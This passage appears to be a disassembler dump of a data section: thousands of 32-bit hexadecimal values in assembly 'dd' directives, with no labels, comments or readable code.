dd 883D8926h, 61951001h, 0E95B092Fh, 4110F6B4h, 2EF2BBF7h
dd 0E84BF811h, 2584E6F3h, 0EDC68DB9h, 88E0F14h, 2881106h
dd 80616002h, 6C5713F3h, 0D9BD12E6h, 43C2E729h, 8E8800C4h
dd 9D92654Bh, 90A10168h, 0E411EC62h, 0C349E501h, 373FE548h
dd 5C6BF385h, 1500DE0Eh, 0C19834Fh, 984CB249h, 0FABA9555h
dd 8A8063B5h, 0BF66FCBBh, 89CC17B6h, 1B9BAF46h, 6480DF8Eh
dd 2F2BA31Eh, 503B3516h, 1D0040E2h, 0AB70E7Ah, 0B505E98Bh
dd 0E21701A7h, 5B1B32BFh, 7CB5C2D8h, 0AC7C49FCh, 1946D6h
dd 0C428DB2Ah, 50F1176h, 0BD0BDFBFh, 54A925h, 6852B0BBh
dd 786F857Fh, 0D76D093Ch, 0A22370D1h, 0CAB78680h, 0D8D22FE3h
dd 91063597h, 7B88801Bh, 9D13F5Dh, 50FB3CA8h, 7F161C6Ch
dd 0D7AACA81h, 0E9DF71E6h, 27E52674h, 80BDF957h, 0F97410CCh
dd 0BB009436h, 1A5C996h, 0E6AD2065h, 0A83A1284h, 0F5FBE5Fh
dd 67A54F24h, 0D672AC9Ch, 0FD7E3D04h, 0BDACF802h, 4E51FEA5h
dd 0BDBCE1h, 0CF358B96h, 499509D1h, 8100C592h, 34C169E3h
dd 9F5DE91Bh, 0DC69D9EFh, 870F62FBh, 2050415Eh, 51111EC3h
dd 0AE007B38h, 0FC30B83Fh, 6B28F375h, 1F09D1C4h, 7E1DF8D3h
dd 1DC4D7ECh, 93E59B60h, 42267600h, 0C5F9057Fh, 0A19D2F89h
dd 8BB6F80h, 4D4BCFBCh, 0FA3AF08Ah, 0E858FD4Bh, 437701E5h
dd 98D8EB29h, 65806A27h, 0ED89EFD6h, 1266186Fh, 9E38F2E9h
dd 0B145C861h, 7A6A03B9h, 4ED01F19h, 64F7CDA5h, 0B1FE6017h
dd 0F96900C4h, 8C20CB81h, 4E9D1F5Ah, 3035BD51h, 327B8700h
dd 2678FFE8h, 85AD599h, 0F2240735h, 7117C909h, 87B7A73Dh
dd 7BC8B309h, 58EBAB2Ah, 0BC09494Eh, 0CA84F5h, 0C4878FE5h
dd 9DCBBA11h, 8D29CD60h, 7C013125h, 1946DECDh, 6E1F8801h
dd 2FEBFE25h, 2C11034h, 8D497C9Ch, 0BC94B96Eh, 229C0934h
dd 41D40D19h, 1FE1B5C1h, 26D42D2Eh, 399B555h, 0B455F003h
dd 825A53E7h, 32751E31h, 0D411D64Ah, 0AD6CF013h, 0F858AF8h
dd 51528881h, 39DE297h, 4F20508Ah, 2B0AB574h, 20BEC234h
dd 26287DACh, 0A39FDC00h, 6714547Ah, 0CC18973Eh, 7D05DB81h
dd 6A260BB7h, 0E079F6ABh, 0AF9D83h, 0E9DBF164h, 332009E5h
dd 0F5B1DF4h, 6FB979E2h, 0E8D683B8h, 0EC501268h, 23B76BBEh
dd 0F908001Ch, 0D2E04AE2h, 82A5D12Fh, 2BD54Eh, 34B750F5h
dd 0BB98972h, 69C4450Ah, 0DA04D549h, 998BAF25h, 476A4Ah
dd 6B79A2FFh, 128B4C7Ah, 0E2F9FA8Ah, 0A80C88C6h, 704606A5h
dd 0A7DF8B50h, 0DE93D8EAh, 8D181A71h, 16FD2A01h, 29CA4B85h
dd 2B80896Eh, 3C2AD34h, 9EC528Bh, 61F85E57h, 0F589367Bh
dd 695D7113h, 6E407CCDh
dd 2B31643h, 0D0494A65h, 0CB817AE5h, 2E60ACEBh, 0E1796129h
dd 26B6E4Ah, 3668CC3Fh, 68505C35h, 1EF508F8h, 61BFC612h
dd 7011380Fh, 0A1003548h, 0FE73485Bh, 95DE9829h, 0F6E969F1h
dd 0B11FD417h, 0D442B833h, 578F0858h, 8B08DFE6h, 93079BDh
dd 0E87EABE9h, 8C22402Eh, 9BB6C1ECh, 0D08D00DCh, 81EBC1B9h
dd 9E77E7F7h, 58955B4Bh, 0F0E0F6FAh, 28842C01h, 78ADB063h
dd 0BF50808Dh, 0F6BB2512h, 4E26A0B5h, 64E25BF0h, 0D0883A01h
dd 0A3D108EAh, 26CB1920h, 487A9F8Eh, 13FD089Ch, 0D6FE303Bh
dd 0B7ACEAD5h, 39828137h, 5CF7543Bh, 1B82630h, 5FD93D43h
dd 39DB2090h, 0E50553Ah, 0BE8A2896h, 0ED7A6AD6h, 0CEDD027Bh
dd 56F8E51Eh, 5B253CE0h, 2B4E5F62h, 0DE1175BDh, 0F68B100Eh
dd 0F55EBD7Ch, 24D99E60h, 0C89A9513h, 1412BA7Ch, 0A8F374BBh
dd 0D14A7174h, 942F9BCAh, 0FCDA9EDBh, 1E32A8E8h, 494C5066h
dd 2E37026Ah, 0BC2C29Ch, 0D590FAB9h, 0B25CDF90h, 0DF2EC11Fh
dd 0C51A0701h, 29D59FA0h, 48FCE22Eh, 90F809A9h, 0E99F0451h
dd 0CD5B78D2h, 6018C439h, 254DCC72h, 0CEF43CB4h, 0EEB33092h
dd 5EADF84h, 3DC2DC8Ah, 542DCAE5h, 3ED16BC5h, 173804ADh
dd 11C6500Ah, 8F5A760Ah, 499B108Ch, 894AABB3h, 7EE73AB1h
dd 51A2A7A0h, 3AD26B09h, 97BE5A76h, 0FAD8FA5Bh, 0B7BD0414h
dd 0AC1B5F73h, 0CEFCD3DAh, 0AB538F80h, 0A60E418Dh, 0AA0E5CD9h
dd 49279421h, 82425F95h, 0FC602309h, 4B111E31h, 172A6A61h
dd 31ABF5A0h, 2E7A315Ch, 9A00457Ah, 7AE0224Dh, 0B228E6F3h
dd 5FA2B7D3h, 36C4CE54h, 83C8B04Ah, 70E63F8Dh, 4FB90C04h
dd 12C071E4h, 955BF957h, 371BB7A6h, 5B4E46B7h, 0DB042060h
dd 4616C578h, 0DCEB6B22h, 0AE988B11h, 128D83D0h, 0D7B4C8BFh
dd 0A4BD5E23h, 852F31D7h, 37B3D5CDh, 0C6D1613h, 45C50ABCh
dd 0D921BE01h, 0B42BFC8Ah, 0FA12B7A1h, 9E04C82Bh, 3FDC097Dh
dd 0E2D53B5Eh, 41DE2F87h, 42601E91h, 8B8E9C40h, 0FBFD100h
dd 0E935D62Bh, 60B8B5A1h, 9B001523h, 0E2D1D925h, 0EABFF2h
dd 0A5EC56FDh, 69EBA836h, 1CD91B58h, 5F404C44h, 0D8E4BF60h
dd 0D72F5DEDh, 61621F20h, 560EADC6h, 0B4F946FAh, 0A265128h
dd 0F156EAE1h, 1B4345B9h, 48D98E25h, 0EFC4AD4Fh, 0CBD0AC23h
dd 0E8606451h, 7F010F3Fh, 1141128Ah, 21B7547Bh, 0D862C6B9h
dd 25579955h, 2BDE8B11h, 8EF4E367h, 4055F998h, 95518901h
dd 44043A79h, 0D9AD0A88h, 17608F84h, 0F82688EAh, 6A9AD8A3h
dd 7074FBF7h, 2D39EC9Eh, 0A3848247h, 0C03BBF49h, 95451D43h
dd 1402D79Bh, 23B94377h, 0E73DD50Fh, 0C789C001h, 122F3136h
dd 0EB65BA0Dh, 0A6C0F49Ah, 6E406420h, 19B7BF05h, 178D2289h
dd 75CAD418h, 6DCB0785h, 0D7CFFFD5h, 0FC24B0BAh, 0CD95C02Bh
dd 0F59CE0F5h, 6B09C764h, 1A701A38h, 9F36F795h, 0F3D22B25h
dd 0A5657000h, 509D36E8h, 0F792064h, 2BB2C1B7h, 6B59B6Fh
dd 0C1852957h, 5060B527h, 884B0DF9h, 9ECA5A9h, 3E6C927h
dd 8A9D296Fh, 886C5D19h, 85754603h, 0E8383968h, 0EE7135EDh
dd 0CD910165h, 0B3F9EB58h, 88E62F36h, 0E7CABF3Dh, 3FAB5F15h
dd 0CB930083h, 0C5A2D3F9h, 7F125F8h, 9601EC5h, 9520D995h
dd 755EC69Ch, 44D6B0F3h, 4E0CC937h, 0E5DE16B8h, 52AB02C0h
dd 0F2620A8Ch, 5730E55Ah, 0D4A56EC5h, 0AE09D43Eh, 63DE013Ch
dd 100FA3BFh, 1F1F7160h, 0C301E1FFh, 3A218825h, 0F6F1292Bh
dd 0C27ECD2Bh, 756035F6h, 0D213D8D5h, 850453B9h, 8EAF33F9h
dd 0C4092297h, 0AF026DA4h, 0C022978Eh, 743797h, 799FF202h
dd 94CD34Eh, 0E4C52AC7h, 6BAE605Bh, 395006Ah, 0B445D8AEh
dd 5F605C34h, 55072118h, 54E8533h, 88BB2917h, 2BE361B2h
dd 88C36C91h, 0FA34182Eh, 0F88119DDh, 691C482Eh, 9BA9B389h
dd 94A6A079h, 0DC17006Bh, 995610DEh, 937D010Bh, 8CA09C09h
dd 0D67F54F0h, 0DC091646h, 38713F7Fh, 0AC5D90A7h, 0E1700062h
dd 44F57C71h, 0B84FDD33h, 57047349h, 81B97A37h, 69306B5Fh
dd 0DD20DAE2h, 0C71169BDh, 0FF4080EFh, 24A4C8Bh, 8E3F942Ah
dd 9AD770D0h, 0B795D84Ah, 60271BC5h, 0B75FFB64h, 0F2AD5DF6h
dd 61909F20h, 181206B0h, 16BF9AE3h, 2FA184Fh, 1E0ABB61h
dd 0FA15EE3Eh, 58164F29h, 2EE035B6h, 18955CDAh, 25BD2378h
dd 5DCE2B0Dh, 48C8515Ah, 0B11600C1h, 13A84EECh, 0A27489B5h
dd 5D117701h, 6DE95F8Dh, 0B16D3225h, 0BA0165B8h, 0C4F3C09Dh
dd 3D508E53h, 0D7A3AAh, 0CE4CCFFAh, 0E83E56BFh, 0F9581B09h
dd 0BD6A7012h, 9FDEF838h, 0C7FDB500h, 7C8C66Ah, 208D90B8h
dd 5B4B1C09h, 0F5826098h, 0D202616h, 3F099F32h, 42AF5E59h
dd 0B198024Ch, 0E9615C07h, 89009957h, 62FE1C92h, 45CF5A0h
dd 2040152Eh, 73A366h, 36B68AEBh, 79C8D8BBh, 0C57CF16Eh
dd 0F4FF035Bh, 52489692h, 92957422h, 78B17BDFh, 8500B121h
dd 0FBBDF06Ch, 0C24C466h, 0E9CCA468h, 6095FA7Fh, 1375BD9h
dd 0D2BF0E35h, 0A0CEE4Eh, 1CB04256h, 9037A249h, 504BE650h
dd 0BF1E4042h, 6F6E5209h, 0D6945638h, 0CB001B46h, 93DC7A5Bh
dd 0A90E831Fh, 7792BB66h, 5880D0ECh, 48550F9Fh, 0FFC83D4Fh
dd 0B2330063h, 0E6E5847Eh, 0FD13D74Ch, 76DB615Fh, 6A85BF81h
dd 39E6899Ch, 0EB107108h, 1921D307h, 70939C5Dh, 0E63EE165h
dd 0AAD5F0B1h, 45420F64h, 0C3F29D16h, 0BC312Ah, 5465EF81h
dd 0E94815E6h, 68E9354Bh, 9F748186h, 85DCAC8Bh, 3CABF81h
dd 1DDD9EA9h, 0BF66D04Ch, 0F7B93B2Dh, 9A5F8F12h, 40165CC9h
dd 0B2B82162h, 9B00457Dh, 52C0B6FCh, 74A3D03h, 9F4B78B1h
dd 0E0599918h, 0F934F544h, 7DC5AD46h, 991A45CEh, 7FF94BC9h
dd 1523756Bh, 6E65831Ch, 0D13595A5h, 0F2165002h, 3A30DF4Bh
dd 0E28B028Dh, 0E98256F9h, 0AD4C6F4h, 0ADD78001h, 889827AEh
dd 9674C048h, 0CBD5D902h, 0CC605021h, 0E686E1h, 0D3D4FD30h
dd 2161626Fh, 1F001BEEh, 3817A79Bh, 3FF779E6h, 9625C674h
dd 0D72F6E37h, 8D01F4B8h, 83289926h, 4A92148Eh, 9C1DD0Eh
dd 0A87B7985h, 2510883Dh, 1959CB53h, 7D059718h, 0E25FC4AFh
dd 6CE7CE57h, 3BB548B1h, 1CB296B6h, 940530h, 0A561BE40h
dd 60560D69h, 5120C390h, 83589533h, 97613440h, 0BDE8011Bh
dd 659528A5h, 6FE371B6h, 0F9A8E484h, 895BC85Ah, 0D97DB103h
dd 5DCE61F9h, 954ABD9Ah, 0E0B4A6DEh, 9702BF6h, 30F956B0h
dd 90A7BD60h, 7EFD8A25h, 1646D618h, 0B318E05h, 0B5A60FF9h
dd 29022E48h, 1A140D95h, 0EFBD4A5Ah, 86740C5h, 1C4983A4h
dd 506F9F62h, 0AD2E9CB9h, 1A10B59Bh, 895E25E5h, 0CA1F2AB9h
dd 9224FB94h, 802B30EBh, 9B58DDBh, 7EB15D77h, 5129C28Fh
dd 9F3845AFh, 31AD8074h, 0C40F4E8h, 993B2CDEh, 198429BFh
dd 0C19A90BFh, 2F55F933h, 1231B928h, 0B729B19Dh, 0CEF84BB9h
dd 0B915D4D0h, 70981E09h, 96950CA9h, 9DB59DBAh, 0CE9A6101h
dd 0F7CC145Dh, 80869933h, 9EE60716h, 0D80337C3h, 0DA0CF444h
dd 2841B822h, 0D15A09FAh, 0B182CBFDh, 0D056628Eh, 0B2165951h
dd 0F395057Bh, 0C076A74Dh, 0FFDEA540h, 0A903025Eh, 0C6E235E4h
dd 400B6F77h, 0F0CFEECBh, 0FA580605h, 0A6046AEAh, 0AF1315B1h
dd 19E5FD75h, 973DAD21h, 4BE88F4Ah, 0CB876E9Ah, 82B93048h
dd 0E9257B6Fh, 0B7DB60B1h, 0C18B2C8Dh, 720ADEFEh, 0ADAB889Bh
dd 56226109h, 0D9DF5A2Eh
dd 2882F999h, 0BD0B2056h, 8940CF76h, 738278Dh, 5AEACA16h
dd 5033E061h, 904F23B3h, 6D05116Eh, 0E96A8A08h, 4FC4BD9Eh
dd 0DD212FC1h, 5CCE2255h, 1B848125h, 0A860ACFAh, 0D42C12AAh
dd 60D5B00Bh, 76265FBEh, 0AE493D12h, 8EE461h, 24D6B4AFh
dd 0B28B8556h, 0EF388600h, 0D1EEF56Eh, 0F12A2EA9h, 0BDB1091Fh
dd 0AE614D84h, 4AC0BE9Eh, 0F2685D3h, 0C3058922h, 3F4DF7C8h
dd 9D2D547Ch, 4482CD55h, 0BAA36019h, 9FD9F92Bh, 58913D30h
dd 0C584A505h, 0D474AA2Ah, 0E0028Ch, 0D9DB81E1h, 0D4D0127Fh
dd 28304412h, 0EF257C00h, 5A6E5095h, 5B8BB790h, 0FE255B6Ah
dd 0FF899076h, 72440ED1h, 0CA4AC6ECh, 70983842h, 78CCFB95h
dd 0B3A88F8Ch, 6A13EDF8h, 0D5D05602h, 71FABF90h, 17305AA2h
dd 22DBAF48h, 8649A881h, 7C83F8C5h, 2AE55BB0h, 0AA00D5F7h
dd 1E6D034h, 0DA162920h, 8C24EF1Dh, 80459EAFh, 0D014EFFEh
dd 816E4A86h, 20E178h, 970E88E9h, 25484616h, 0E8FC5998h
dd 0BBDF80DBh, 9290F40Bh, 0C42A566Fh, 81F434BDh, 0F0B5A060h
dd 663A023Eh, 612432BAh, 9B690D5h, 0C1F94D85h, 0B84EED4Ah
dd 9018C17h, 802025D0h, 132E99C7h, 117EBA63h, 0BB56620Ch
dd 0A9D609DEh, 1BAC72A9h, 357708Ch, 0C5355933h, 0BBC4E1B1h
dd 0C6848417h, 0B92785EEh, 0F096B878h, 0FF33007Eh, 819AB39Dh
dd 541769DFh, 2F0501F9h, 0BAFD2111h, 0E809ABE8h, 7334B0FEh
dd 3D4D1185h, 22A4CB29h, 72B805BFh, 0D1B06760h, 429F10Eh
dd 0C11092ADh, 0ADBF0227h, 110E80DBh, 14E81125h, 0D4CAF017h
dd 8200B7F6h, 0B19A328Dh, 9271CA8h, 3F64ED11h, 0EE77D705h
dd 803CE5A2h, 0E05FDC92h, 0D309BF8Fh, 71737683h, 0BD090788h
dd 7F4B384Dh, 9D12EB46h, 8EE22C45h, 89B50906h, 5FE2F19h
dd 68B20F4Ah, 759E262h, 0F09B5809h, 2F1D6591h, 2F17EFD1h
dd 8421B6B6h, 722D291Fh, 0C1A5E848h, 9DBF6617h, 50A7702Dh
dd 47554C18h, 0B61E2158h, 2F6189E8h, 56047D71h, 3EAC5BF5h
dd 0C31BC180h, 1004622h, 0CED08C80h, 6A1419FBh, 918932EAh
dd 1C95809h, 20D2E9AEh, 0F9CC7810h, 482EE35Bh, 3182159Dh
dd 12229B5h, 91DE8A51h, 2A7D4A74h, 9585D585h, 9D11734Ch
dd 2FC81BE9h, 0F5BD2B8Bh, 96564962h, 11162BCAh, 91DA05B5h
dd 0A548E985h, 70460033h, 0A7BE8EC5h, 0CD121DC0h, 9CE6EF8Ch
dd 0FB6FB216h, 43C375DBh, 0FBD059A1h, 7B485C14h, 2B21261h
dd 0E4950509h, 8A0F3A9Bh, 0B5FC23C4h, 6EAF195Fh, 35605A6Fh
dd 4E180B0Ah, 0F7DEB0EEh, 344BFh, 4584DEA8h, 0DC4A16B8h
dd 10286148h, 0B90B33C1h, 52D3104Fh, 2AA93D0h, 9D295C92h
dd 0CD5634EDh, 0D8E1F892h, 6C7686D9h, 85BBEB0Fh, 9D550592h
dd 94F3FA32h, 31B1F507h, 9E9890C4h, 0C05C2B5Dh, 165A7157h
dd 0A65AF3B6h, 15F9D7B4h, 1E074EA8h, 2DBDBB65h, 0A90B0C73h
dd 4D3930FDh, 7A5E893Bh, 726B0346h, 0A17FF99Fh, 532E894Bh
dd 76FFFA7h, 0A7904C00h, 0E5FBAAB2h, 7452334Fh, 0F027A6AFh
dd 97FD8AD2h, 1A56A63Ah, 85B604D4h, 0ABFCD92Bh, 1AC8C02Eh
dd 2EE0EEC7h, 1E79584h, 0BDD781C6h, 3A5E3DCAh, 0C680E4DBh
dd 0D2132FB9h, 4A4566EFh, 8127EBCAh, 0CB60A2CFh, 0ECD1320h
dd 0B848DA32h, 96E3113h, 0DB722E25h, 95E16156h, 9C105B13h
dd 0FF1616CDh, 80F79BE1h, 99B80E75h, 60DA2D95h, 2F018FD1h
dd 0FDC6D9A0h, 7762DF68h, 1760565Fh, 87C23095h, 5CFB8B61h
dd 0A7F751F7h, 4B945089h, 28D38E17h, 9D1213FFh, 0D3E328A1h
dd 6093B688h, 8DB8F9FDh, 788942Ch, 561A3109h, 0E3514BCEh
dd 99404C1Fh, 0E877A46Ch, 0B946040Ah, 0B8D5C0AFh, 0B5E04FA6h
dd 92024BF9h, 0B2B12A4h, 1A355DC5h, 0A253B1ADh, 0C8C3DA2Ah
dd 23CDC014h, 0FC92D5BDh, 0FEA2504Bh, 8957D600h, 293B1CFCh
dd 475D5316h, 60F380FFh, 0A0059BEh, 33BF2617h, 626593A3h
dd 2404B261h, 1D085074h, 6AA43D15h, 0FA07F478h, 65CD4CE4h
dd 0C704E145h, 29140CD1h, 21FBD10h, 7EB06B68h, 0E99AC1FBh
dd 73E56C6h, 52A05394h, 756D88Bh, 11A46D6h, 6A126980h
dd 873B7E63h, 1614A255h, 806C7A5Ch, 0E9FF1733h, 0AB4AC512h
dd 0EE314720h, 7BA10055h, 0C34E6944h, 8800E767h, 2C563DF7h
dd 27B5095Fh, 0A67C1BE1h, 0BCE380E1h, 0E93A162Eh, 0F030EC50h
dd 68D7620Bh, 0CB2E2261h, 0F6FB5423h, 519CF6BDh, 80FA3CFCh
dd 0A78241D1h, 0CE680E14h, 28A9E7C3h, 7B5F3A5Fh, 897650CFh
dd 644CED01h, 49EFA9FCh, 53E03A57h, 19DB260h, 0ECD77548h
dd 20890234h, 5B48F972h, 6AFEA4BFh, 4F2E120Dh, 6E6AC8E1h
dd 5ADE0002h, 0B7AA46FDh, 6F650B06h, 35D65150h, 0A4AD7940h
dd 72D400D6h, 341821C2h, 0B602E04Eh, 9F0C074Ch, 281680E9h
dd 3E0D440Fh, 0CF805783h, 0B3E738CEh, 8E0967E4h, 565B1508h
dd 56EADE3h, 5A2F44BDh, 0E0E7E7B5h, 4BF40E79h, 313B301Eh
dd 17408DBDh, 325A0968h, 8BDFEC86h, 0BBE7D633h, 6E30BF07h
dd 5A5FB18Ch, 0A5DF2458h, 0D098D12Dh, 31A125CCh, 5B6BF159h
dd 4A4E50F6h, 87E26400h, 0E5BFFC8Ah, 60DE04CBh, 0F104D380h
dd 16972C2Ch, 64BF5BDFh, 0F96F9572h, 6EC5B9CFh, 5F4C4236h
dd 6147494Ah, 0F7808FB7h, 2AFD9647h, 0CB194B0Dh, 0DF81010Ah
dd 5105C954h, 9D24220Bh, 8FF865DBh, 87332186h, 0D835AFDDh
dd 0D86B2700h, 1E8F518h, 33CB5798h, 6B2F4D9Dh, 10A039B7h
dd 52B855F7h, 6676B201h, 61CD2BBAh, 98F1282Eh, 5DFD044Eh
dd 7C3A98E8h, 2DD2480h, 5BA66B59h, 0AA03DE8Ah, 3EA96D57h
dd 0CB80F0D9h, 0EC38BFC7h, 27840D25h, 503D15F9h, 7482DC03h
dd 4FC7F8E3h, 2EEE252Bh, 0ED9537C4h, 7D5BE1B6h, 0B0876ACBh
dd 0ABB07F09h, 0C8006CFDh, 0CA8D2A7Dh, 1B8B72BFh, 0DA626671h
dd 0F395CFD6h, 181B5927h, 0A591008Dh, 1B051D9h, 600B50CAh
dd 0FA61DE8Bh, 949D5AD7h, 0ACC6B914h, 7D958C1Ch, 0C062AF80h
dd 9462344Eh, 2E4D60h, 26DBD89h, 0BC0D9697h, 0B274D4CFh
dd 3DA33A5Eh, 70E4D946h, 0F2A69897h, 5BC4BB04h, 20BA400Dh
dd 9F630107h, 6BA9A000h, 335E70Ah, 7B9E040Eh, 0AFC4D39Bh
dd 0B0D41CFh, 2BF5959Dh, 0C54A41E3h, 80D0DBDAh, 11B58910h
dd 9077822Bh, 0F8E8887Eh, 0D5313FD0h, 0FF5804Bh, 0E922DFB7h
dd 0B4550008h, 9326F904h, 3A972089h, 75B5FDDCh, 0A29AE20Fh
dd 0A0B523DEh, 4E175D34h, 0A1150B61h, 7609EDBBh, 0CF42335Fh
dd 47812C3h, 91852976h, 4E438E2Ah, 0E209986Ah, 0F955A161h
dd 9AB7090Bh, 91DD35DFh, 68428019h, 4C80F5Ch, 8D896086h
dd 0F5D49109h, 9523E461h, 0F61AA929h, 3F0F3D08h, 4B809628h
dd 0FE1EC3DEh, 0D2C780C0h, 0BB0476A4h, 758DBF17h, 42DE15BCh
dd 59E97F35h, 5651145Eh, 0EB499612h, 7B52D1DAh, 96BECF34h
dd 4F9B8205h, 139BE78h, 1F562E46h, 6FD9F26Ch, 5A0CC8h
dd 0C3DD347Dh, 0D54B1EFCh, 0B2234D00h, 32717F0Eh, 34DA09D6h
dd 0F0559D2Bh, 0A85B4BE3h, 7F2EAA18h, 0D6E800ECh, 0FB8B4F39h
dd 40509A97h, 82267DB7h, 12BAEC77h, 291B559Dh, 0F2206E31h
dd 18B7DCh, 16F3AAFAh, 891E8A63h, 6ADDC500h, 726728C4h
dd 0D6507A43h, 5B8D826Eh, 0CDEB705Eh, 0E17E40A9h, 8A093637h
dd 79509F13h, 0FDA04553h, 28FEC66h, 724A8475h, 1557C7A8h
dd 2ADFAE16h, 8D4DB540h, 9C601564h, 0D009BB35h, 593AA814h
dd 918C00DDh, 703FC36h
dd 0A4658D00h, 7C76390Eh, 6CB71C90h, 2E58444Ah, 0A97AEEC6h
dd 607F600h, 0DA4A5C35h, 0B79A9E97h, 0ED411ACDh, 0C16A87E9h
dd 0EABD03C9h, 0C18BCC48h, 0C0D16DB5h, 84FDE05Bh, 14A69200h
dd 31A2A999h, 0AB26D28Dh, 0DCE4B7E6h, 109D7A1Bh, 5E5367h
dd 0EDBD1A0Fh, 506B3C38h, 85379B5h, 982F111Dh, 4EBD092Ah
dd 0B914C429h, 7ACE889h, 0DE4D1EA6h, 6F0B7980h, 379FFDD8h
dd 8C4594A8h, 0AD0A620Bh, 0DE585Ch, 0CE572551h, 0FECB8090h
dd 0BA4F54Fh, 880550C0h, 500640D5h, 0A9B2BF3Dh, 4B2B978Dh
dd 0C4D0BF79h, 0F13B0984h, 15EF960h, 6884E193h, 0BC3DFDAAh
dd 0F44D008Ch, 91B1D5D7h, 7A03F661h, 0DE2870BFh, 97647A3Fh
dd 18C5A794h, 0CAAE0EF5h, 8EB5E0A6h, 0BA4E142Eh, 760B9528h
dd 0E0EDD1FFh, 7B2818C0h, 0B194973Dh, 0F13E2E45h, 25BF3DFAh
dd 269CE002h, 0CD905EF3h, 0B4FC7A4Bh, 49196680h, 37014305h
dd 10139558h, 11769035h, 0E9FC8A04h, 8D38AE1Fh, 9739906Ch
dd 29E2A8CDh, 0C7D8C021h, 4B4A04BEh, 8C61237Bh, 0D600A7CFh
dd 0CC01DA05h, 0B585418Ah, 0D45A54DBh, 0CB4EC293h, 0DDBE13E0h
dd 271EBA0Bh, 0D36FF561h, 0BE961640h, 7DA1057Fh, 0F8210149h
dd 0E50525F0h, 647D2588h, 95879F8Ah, 5104F829h, 76BD6159h
dd 0C48BE94h, 57EAD825h, 40F2EFD7h, 928F2FE5h, 544C6297h
dd 0FCFF8961h, 2A4A2978h, 0EC81279Eh, 204A9752h, 0CA25E339h
dd 165CDCA4h, 0A286AC0Ch, 3D92286Eh, 0B06227A0h, 0D5051511h
dd 17C17A98h, 0FC109D84h, 4E006894h, 0F4FF140Ch, 56C999h
dd 31297950h, 0EC37E7ACh, 0D142AE97h, 0A6626025h, 9273DD7Ch
dd 0C2560902h, 1E4A64A5h, 40368563h, 0A6EF2097h, 0DC099F6Fh
dd 0DB06BAC6h, 11E48011h, 4FCF938Ch, 0B8B21D0Bh, 55830B2Dh
dd 0BC212C04h, 1809942h, 3D5EF912h, 0AB3A503Eh, 84FCD100h
dd 0D3DF9D33h, 0B6DB1248h, 0F129C8E5h, 860A2801h, 2A543040h
dd 80BFC06Ah, 8B14D7DFh, 8096E8D1h, 7D23A6FBh, 585C00C3h
dd 0F3CBBD80h, 810792E1h, 0CA253266h, 469ED350h, 5F7D0CD2h
dd 0F3D9DE9h, 7F398651h, 8B87D2ECh, 49072FD8h, 9844054Eh
dd 0BD10018Eh, 8A120DADh, 2868F1DDh, 0C6EBDh, 0C552B0BFh
dd 48A49736h, 4BF95013h, 8509BE90h, 85A69D61h, 8A4A2354h
dd 1ED044B9h, 0AE6E0600h, 7BC45B1Dh, 1CED5900h, 965903Ah
dd 24F30BA0h, 93769A9Dh, 795F5B09h, 3326115Dh, 0DC8D8057h
dd 1378BABh, 9F82DB81h, 5C2C2688h, 81958914h, 0BDDAB7C4h
dd 85DC8454h, 0B1E8D3EDh, 4DF8B4Ch, 0C52DAAFh, 0A58B12BEh
dd 44A67AF9h, 0B6910CF0h, 6506037Fh, 71E0FFA0h, 0F4525C8h
dd 9F00F35Bh, 0B82BFE65h, 40DE030Ch, 530F0D18h, 0C145FFC8h
dd 114A1BE6h, 9319DAFAh, 0D2666B70h, 85B74C27h, 0B9C05D3Ah
dd 5B0FE338h, 61F072B6h, 0B458B241h, 34362427h, 22B98A16h
dd 0AEF06035h, 1FE5A650h, 273A61CBh, 5CC729FAh, 1100DEBEh
dd 0CEA78C85h, 0BFD0EA0h, 0D22B5612h, 7BF7671Ah, 8FCDA580h
dd 490A4DADh, 0E5202CD0h, 0DDBF0433h, 0AF4CCAFBh, 18230B6Ah
dd 53640100h, 5E8968AEh, 3AF2B58Dh, 75A9FE81h, 16D8E73Ch
dd 1F4ADAEFh, 1BB2F9E6h, 8BF45532h, 68417703h, 0F35C0955h
dd 5B79F411h, 0ADA0415Ah, 71E06C67h, 3458406Ah, 975D2212h
dd 51443714h, 0AD2191F9h, 30002179h, 7177F341h, 90D5EABAh
dd 8B395475h, 0FFCD955Fh, 9B611564h, 843165EFh, 9E1FFA1h
dd 8B7DC9AAh, 5F2F0D0Ch, 0A044711Ch, 248AB352h, 64692785h
dd 0F292F5Bh, 80E91B02h, 0A6EBFF19h, 0BF2125D3h, 521114E5h
dd 1CF4FC6Bh, 0C7F96096h, 7BB7D3B8h, 519D04DDh, 9EB1634h
dd 24790AE0h, 59BD2902h, 90CDD722h, 44981844h, 2A27008Fh
dd 0BD23FCCFh, 71951A4Dh, 2DF09A2Ah, 3EDCA6D4h, 8F974D93h
dd 1F7F054h, 410C1283h, 6F2DAA26h, 7BE36A2Ah, 0BD657C03h
dd 0A2A8689Eh, 676B5E63h, 406D6529h, 61BB50A2h, 564A66F3h
dd 0BDDD8A15h, 172A1FF4h, 1A279297h, 0C67C466Fh, 68031B10h
dd 0D1797FF4h, 4656F9DAh, 0A5840B02h, 9BD072Eh, 600D3957h
dd 0C620D3F5h, 613340EDh, 37118297h, 905532D6h, 3E4B90D9h
dd 38FAA6F7h, 0AC4B01A3h, 0FEE3C0A0h, 0BC3119h, 0CEB7629Dh
dd 4A4DB230h, 0D326A178h, 0FE89397Dh, 956870F7h, 46EDDF0Bh
dd 182295E0h, 0B531277Fh, 2B15215Ah, 48B75BDh, 0D95BB66h
dd 0C8D343BCh, 9B7D7F53h, 0D43AE800h, 0D8FAB6A6h, 0ED352D71h
dd 9D04DE5Bh, 80282079h, 7CB8CB2Dh, 0E0EFF4BBh, 0D95F8B68h
dd 4532EA82h, 8342274Eh, 46CA22FDh, 0DC73F604h, 39CA8F00h
dd 0BC4E586Ah, 0B3962410h, 0B65F3A64h, 0B021E529h, 342E7CABh
dd 0C8CDAAC1h, 4F09CB2Bh, 0DAF7D020h, 9562001Bh, 79F363F5h
dd 51004B3Ah, 0F9CDB8D2h, 4E314ABDh, 4F17F80Fh, 3E10C5C8h
dd 61026BCCh, 404E5404h, 990BF181h, 46A23E5Eh, 1282B574h
dd 325D39E3h, 51F3531Dh, 0BEB9700Fh, 1D7E7D98h, 40E83A97h
dd 8220992Ch, 0B36FF680h, 6088077Dh, 0C9D12C80h, 0E7D901E1h
dd 26612009h, 80BB02C2h, 0E25F2F84h, 0A11ED59Bh, 0BC618DADh
dd 0A27B6DEBh, 2934CDC8h, 0DE645037h, 3EE90615h, 0DC419C17h
dd 5BEEC22Fh, 0B06725A1h, 3BBF3A56h, 606B1273h, 0F1FB49B3h
dd 0A86129A5h, 0A4BBC0E6h, 9744DB48h, 104A7914h, 3AEC0BADh
